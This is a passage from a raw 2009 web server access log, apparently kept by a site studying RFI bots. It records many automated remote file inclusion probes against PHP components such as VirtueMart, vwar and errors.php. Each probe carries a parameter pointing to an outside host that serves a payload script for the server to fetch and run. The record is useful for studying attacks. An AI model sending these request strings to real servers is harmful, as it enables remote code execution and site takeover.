///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:03:00 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 33691 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:19:19:19 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:19:19:19 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:19:19:20 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 33745 "-" "Mozilla/5.0" 218.208.21.7 - - [15/Jun/2009:19:25:24 -0600] "GET /rfi.txt//errors.php?error=http://www.bernardyni.ofm.pl/organy2/tmp/temp/id1.txt??? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 218.208.21.7 - - [15/Jun/2009:19:25:24 -0600] "GET //errors.php?error=http://www.bernardyni.ofm.pl/organy2/tmp/temp/id1.txt??? HTTP/1.1" 302 785 "-" "Mozilla/5.0" 218.208.21.7 - - [15/Jun/2009:19:25:26 -0600] "GET //errors.php?error=http://www.bernardyni.ofm.pl/organy2/tmp/temp/id1.txt??? HTTP/1.1" 404 15928 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:19:58:18 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:19:58:18 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:19:58:19 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 33716 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:07:01 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:07:02 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 33752 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:07:10 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 201.25.253.38 - - [15/Jun/2009:20:21:19 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://eqz.zapto.org/v4.gif? HTTP/1.1" 302 765 "-" "Mozilla/3.0 (compatible; Indy Library)" 201.25.253.38 - - [15/Jun/2009:20:21:19 -0600] "GET //index.php?section=error&id=http://eqz.zapto.org/v4.gif? HTTP/1.1" 302 718 "-" "Mozilla/3.0 (compatible; Indy Library)" 74.54.32.201 - - [15/Jun/2009:20:22:30 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:22:30 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:22:30 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 33744 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:20:23:49 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:20:23:49 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:20:23:50 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33623 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:20:27:49 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:20:27:49 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:20:27:50 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33623 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:46:03 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:46:03 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 74.54.32.201 - - [15/Jun/2009:20:46:03 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 33757 "-" "Mozilla/5.0" 200.105.207.244 - - [15/Jun/2009:20:50:02 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 200.105.207.244 - - [15/Jun/2009:20:50:02 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 200.105.207.244 - - [15/Jun/2009:20:50:04 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 33650 "-" "Mozilla/5.0" 66.152.166.210 - - [16/Jun/2009:10:23:17 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.tanoto-foundation.or.id/data/tanota/README?? HTTP/1.1" 404 588 "-" "Mozilla/5.0" 66.152.166.210 - - [16/Jun/2009:10:23:17 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.tanoto-foundation.or.id/data/tanota/README?? HTTP/1.1" 302 842 "-" "Mozilla/5.0" 66.152.166.210 - - [16/Jun/2009:10:23:18 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.tanoto-foundation.or.id/data/tanota/README?? HTTP/1.1" 404 34145 "-" "Mozilla/5.0" 124.217.216.86 - - [16/Jun/2009:11:29:21 -0600] "GET /components/com_dbquery&Itemid=&mosConfig_absolute_path=http://jambul.wen.ru/Botscaner1.txt%0D?? HTTP/1.1" 302 804 "-" "libwww-perl/5.826" 124.217.216.86 - - [16/Jun/2009:11:29:22 -0600] "GET /components/com_dbquery&Itemid=&mosConfig_absolute_path=http://jambul.wen.ru/Botscaner1.txt%0D HTTP/1.1" 404 33698 "-" "libwww-perl/5.826" 124.217.216.86 - - [16/Jun/2009:11:31:36 -0600] "GET /rfi.txt/components/com_dbquery&Itemid=&mosConfig_absolute_path=http://jambul.wen.ru/Botscaner1.txt%0D?? HTTP/1.1" 404 560 "-" "libwww-perl/5.826" 210.112.121.225 - - [16/Jun/2009:12:41:12 -0600] "GET /errors.php?error=http://weblime.ru/seahorse/mambo??? HTTP/1.1" 302 763 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 210.112.121.225 - - [16/Jun/2009:12:41:14 -0600] "GET /errors.php?error=http://weblime.ru/seahorse/mambo??? HTTP/1.1" 404 33538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 216.29.122.28 - - [16/Jun/2009:12:42:32 -0600] "GET /components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.standardcan.com/test/cms/media/id.txt?%0D?? HTTP/1.1" 302 826 "-" "libwww-perl/5.79" 216.29.122.28 - - [16/Jun/2009:12:42:33 -0600] "GET /components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.standardcan.com/test/cms/media/id.txt?%0D?? HTTP/1.1" 404 33925 "-" "libwww-perl/5.79" 216.29.122.28 - - [16/Jun/2009:12:44:29 -0600] "GET /rfi.txt/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.standardcan.com/test/cms/media/id.txt?%0D?? HTTP/1.1" 404 572 "-" "libwww-perl/5.79" 217.147.29.190 - - [16/Jun/2009:12:47:35 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 217.147.29.190 - - [16/Jun/2009:12:47:35 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 302 817 "-" "Mozilla/5.0" 217.147.29.190 - - [16/Jun/2009:12:47:36 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 33739 "-" "Mozilla/5.0" 87.230.22.39 - - [16/Jun/2009:13:10:15 -0600] "GET /rfi.txt//main.php?sayfa=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 404 512 "-" "Mozilla/5.0" 87.230.22.39 - - [16/Jun/2009:13:10:15 -0600] "GET //main.php?sayfa=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 302 766 "-" "Mozilla/5.0" 87.230.22.39 - - [16/Jun/2009:13:10:16 -0600] "GET //main.php?sayfa=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 404 33553 "-" "Mozilla/5.0" 119.93.90.155 - - [16/Jun/2009:13:39:06 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://jungkyung.hs.kr/skin_shop/standard/1_layout/od.txt?? HTTP/1.1" 302 845 "-" "libwww-perl/5.805" 119.93.90.155 - - [16/Jun/2009:13:39:07 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://jungkyung.hs.kr/skin_shop/standard/1_layout/od.txt?? HTTP/1.1" 404 33871 "-" "libwww-perl/5.805" 211.49.99.7 - - [16/Jun/2009:14:22:00 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/database.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:14:22:00 -0600] "GET ///administrator/components/com_virtuemart/database.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:14:22:01 -0600] "GET ///administrator/components/com_virtuemart/database.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33742 "-" "Mozilla/5.0" 91.121.112.152 - - [16/Jun/2009:14:43:56 -0600] "GET /rfi.txt//errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt??? HTTP/1.1" 404 533 "-" "libwww-perl/5.803" 91.121.112.152 - - [16/Jun/2009:14:43:56 -0600] "GET //errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt??? HTTP/1.1" 302 787 "-" "libwww-perl/5.803" 91.121.112.152 - - [16/Jun/2009:14:43:58 -0600] "GET //errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt??? HTTP/1.1" 404 33637 "-" "libwww-perl/5.803" 60.250.142.192 - - [16/Jun/2009:15:03:24 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://secured-client.com/copyright.txt???? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 60.250.142.192 - - [16/Jun/2009:15:03:24 -0600] "GET ///vwar/backup/errors.php?error=http://secured-client.com/copyright.txt???? HTTP/1.1" 302 785 "-" "Mozilla/5.0" 60.250.142.192 - - [16/Jun/2009:15:03:25 -0600] "GET ///vwar/backup/errors.php?error=http://secured-client.com/copyright.txt???? HTTP/1.1" 404 33620 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:16:11:51 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 564 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:16:11:51 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 818 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:16:11:52 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33734 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:16:12:28 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 564 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:16:12:28 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 818 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:16:12:29 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33733 "-" "Mozilla/5.0" 91.121.137.51 - - [16/Jun/2009:16:34:39 -0600] "GET /rfi.txt/errors.php?error=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 404 513 "-" "Mozilla/5.0" 91.121.137.51 - - [16/Jun/2009:16:34:39 -0600] "GET /errors.php?error=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 302 767 "-" "Mozilla/5.0" 91.121.137.51 - - [16/Jun/2009:16:34:40 -0600] "GET /errors.php?error=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 404 33547 "-" "Mozilla/5.0" 64.202.126.123 - - [16/Jun/2009:17:12:58 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt?? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 64.202.126.123 - - [16/Jun/2009:17:12:58 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt?? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 64.202.126.123 - - [16/Jun/2009:17:12:59 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt?? HTTP/1.1" 404 33819 "-" "Mozilla/5.0" 151.1.154.24 - - [16/Jun/2009:19:21:30 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 772 "-" "Mozilla/5.0" 151.1.154.24 - - [16/Jun/2009:19:21:30 -0600] "GET /%20%20//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 151.1.154.24 - - [16/Jun/2009:19:21:31 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33565 "-" "Mozilla/5.0" 151.1.154.24 - - [16/Jun/2009:19:21:31 -0600] "GET /%20%20//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33596 "-" "Mozilla/5.0" 203.151.233.72 - - [16/Jun/2009:19:21:34 -0600] "GET /rfi.txt//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 518 "-" "Mozilla/5.0" 203.151.233.72 - - [16/Jun/2009:19:21:34 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 772 "-" "Mozilla/5.0" 203.151.233.72 - - [16/Jun/2009:19:21:36 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33565 "-" "Mozilla/5.0" 151.1.154.24 - - [16/Jun/2009:19:26:51 -0600] "GET /rfi.txt//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 518 "-" "Mozilla/5.0" 151.1.154.24 - - [16/Jun/2009:19:27:24 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33565 "-" "Mozilla/5.0" 203.151.233.72 - - [16/Jun/2009:19:29:31 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33565 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:19:35:56 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/database.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:19:35:58 -0600] "GET ///administrator/components/com_virtuemart/database.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 211.49.99.7 - - [16/Jun/2009:19:36:00 -0600] "GET ///administrator/components/com_virtuemart/database.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33742 "-" "Mozilla/5.0" 203.151.233.72 - - [16/Jun/2009:19:39:26 -0600] "GET /%20%20//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 203.151.233.72 - - [16/Jun/2009:19:39:28 -0600] "GET /%20%20//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33596 "-" "Mozilla/5.0" 89.223.3.98 - - [16/Jun/2009:20:45:17 -0600] "GET /rfi.txt/index.php?dest=http://jambul.wen.ru/id1.txt? HTTP/1.1" 404 501 "-" "Mozilla/5.0" 89.223.3.98 - - [16/Jun/2009:20:45:17 -0600] "GET /index.php?dest=http://jambul.wen.ru/id1.txt? HTTP/1.1" 302 726 "-" "Mozilla/5.0" 89.223.3.98 - - [16/Jun/2009:20:45:18 -0600] "GET /?dest=http://jambul.wen.ru/id1.txt? HTTP/1.1" 200 98843 "-" "Mozilla/5.0" 218.38.243.71 - - [17/Jun/2009:10:49:44 -0600] "GET //modules/mod_virtuemart/mod_virtuamart.php?mosConfig_absolute_path=http://prideofderby.co.uk/language/fx29id1.txt? HTTP/1.1" 302 825 "-" "Mozilla/5.0" 218.38.243.71 - - [17/Jun/2009:10:49:45 -0600] "GET //modules/mod_virtuemart/mod_virtuamart.php?mosConfig_absolute_path=http://prideofderby.co.uk/language/fx29id1.txt? HTTP/1.1" 404 33795 "-" "Mozilla/5.0" 218.38.243.71 - - [17/Jun/2009:10:49:48 -0600] "GET /rfi.txt//modules/mod_virtuemart/mod_virtuamart.php?mosConfig_absolute_path=http://prideofderby.co.uk/language/fx29id1.txt? HTTP/1.1" 404 571 "-" "Mozilla/5.0" 218.38.243.71 - - [17/Jun/2009:10:50:03 -0600] "GET //modules/mod_virtuemart/mod_virtuamart.php?mosConfig_absolute_path=http://prideofderby.co.uk/language/fx29id1.txt? HTTP/1.1" 302 825 "-" "Mozilla/5.0" 218.38.243.71 - - [17/Jun/2009:10:50:04 -0600] "GET //modules/mod_virtuemart/mod_virtuamart.php?mosConfig_absolute_path=http://prideofderby.co.uk/language/fx29id1.txt? HTTP/1.1" 404 33796 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:10:57:11 -0600] "GET /rfi.txt//cms/plugins/spamx/MassDelete.Admin.class.php/geeklog//plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 404 619 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:10:57:11 -0600] "GET //cms/plugins/spamx/MassDelete.Admin.class.php/geeklog//plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 302 871 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:10:57:13 -0600] "GET //cms/plugins/spamx/MassDelete.Admin.class.php/geeklog//plugins/spamx/BaseAdmin.class.php?_CONFpath=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 404 34021 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:10:59:45 -0600] "GET /rfi.txt//cms/plugins/spamx/MassDelete.Admin.class.php/geeklog//plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 404 619 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:10:59:45 -0600] "GET //cms/plugins/spamx/MassDelete.Admin.class.php/geeklog//plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 302 871 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:10:59:46 -0600] "GET //cms/plugins/spamx/MassDelete.Admin.class.php/geeklog//plugins/spamx/BaseAdmin.class.php?_CONFpath=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 404 34021 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:11:07:41 -0600] "GET /rfi.txt//technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 404 649 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:11:07:41 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 302 891 "-" "libwww-perl/5.805" 121.165.73.157 - - [17/Jun/2009:11:07:42 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://harvestusa.org///administrator//components/idi.txt???? HTTP/1.1" 404 34134 "-" "libwww-perl/5.805" 66.152.166.210 - - [17/Jun/2009:12:29:54 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.tanoto-foundation.or.id/data/tanota/README?? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 66.152.166.210 - - [17/Jun/2009:12:29:54 -0600] "GET ///vwar/backup/errors.php?error=http://www.tanoto-foundation.or.id/data/tanota/README?? HTTP/1.1" 302 797 "-" "Mozilla/5.0" 66.152.166.210 - - [17/Jun/2009:12:29:54 -0600] "GET ///vwar/backup/errors.php?error=http://www.tanoto-foundation.or.id/data/tanota/README?? HTTP/1.1" 404 33850 "-" "Mozilla/5.0" 124.0.146.100 - - [17/Jun/2009:13:07:19 -0600] "GET /rfi.txt//include/print_category.php?setup[use_category]=1&dir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 560 "-" "Mozilla/5.0" 124.0.146.100 - - [17/Jun/2009:13:07:19 -0600] "GET //include/print_category.php?setup[use_category]=1&dir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 124.0.146.100 - - [17/Jun/2009:13:07:20 -0600] "GET //include/print_category.php?setupuse_category=1&dir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33755 "-" "Mozilla/5.0" 66.212.27.242 - - [17/Jun/2009:13:43:55 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 33893 "-" "libwww-perl/5.818" 174.142.68.168 - - [17/Jun/2009:14:39:05 -0600] "GET /errors.php?error=http://www.share-finder.com/id.txt???? HTTP/1.1" 302 766 "-" "libwww-perl/5.826" 174.142.68.168 - - [17/Jun/2009:14:39:06 -0600] "GET /errors.php?error=http://www.share-finder.com/id.txt???? HTTP/1.1" 404 33693 "-" "libwww-perl/5.826" 174.142.68.168 - - [17/Jun/2009:14:40:24 -0600] "GET /rfi.txt/errors.php?error=http://www.share-finder.com/id.txt???? HTTP/1.1" 404 512 "-" "libwww-perl/5.826" 200.54.154.10 - - [17/Jun/2009:14:58:44 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.culturalsacra.org/documentos/idg.txt???? HTTP/1.1" 302 823 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 200.54.154.10 - - [17/Jun/2009:14:58:46 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.culturalsacra.org/documentos/idg.txt???? HTTP/1.1" 404 33824 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 200.54.154.10 - - [17/Jun/2009:14:58:51 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.culturalsacra.org/documentos/idg.txt???? HTTP/1.1" 302 823 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 200.54.154.10 - - [17/Jun/2009:14:58:52 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.culturalsacra.org/documentos/idg.txt???? HTTP/1.1" 404 33825 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 200.54.154.10 - - [17/Jun/2009:15:00:16 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.culturalsacra.org/documentos/idg.txt???? HTTP/1.1" 302 823 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 91.121.121.29 - - [17/Jun/2009:15:00:18 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 91.121.121.29 - - [17/Jun/2009:15:00:18 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 778 "-" "Mozilla/5.0" 200.54.154.10 - - [17/Jun/2009:15:00:17 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.culturalsacra.org/documentos/idg.txt???? HTTP/1.1" 404 33824 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 91.121.121.29 - - [17/Jun/2009:15:00:19 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33605 "-" "Mozilla/5.0" 122.153.28.140 - - [17/Jun/2009:15:12:11 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 802 "-" "Mozilla/5.0" 122.153.28.140 - - [17/Jun/2009:15:12:12 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33717 "-" "Mozilla/5.0" 122.153.28.140 - - [17/Jun/2009:15:12:17 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 552 "-" "Mozilla/5.0" 122.153.28.140 - - [17/Jun/2009:15:12:17 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 802 "-" "Mozilla/5.0" 122.153.28.140 - - [17/Jun/2009:15:12:17 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33717 "-" "Mozilla/5.0" 122.153.28.140 - - [17/Jun/2009:15:12:21 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 552 "-" "Mozilla/5.0" 217.147.30.80 - - [17/Jun/2009:15:41:04 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://for.caucasus.net/id.txt???? HTTP/1.1" 404 589 "-" "libwww-perl/5.79" 217.147.30.80 - - [17/Jun/2009:15:41:04 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://for.caucasus.net/id.txt???? HTTP/1.1" 302 843 "-" "libwww-perl/5.79" 217.147.30.80 - - [17/Jun/2009:15:41:05 -0600] "GET 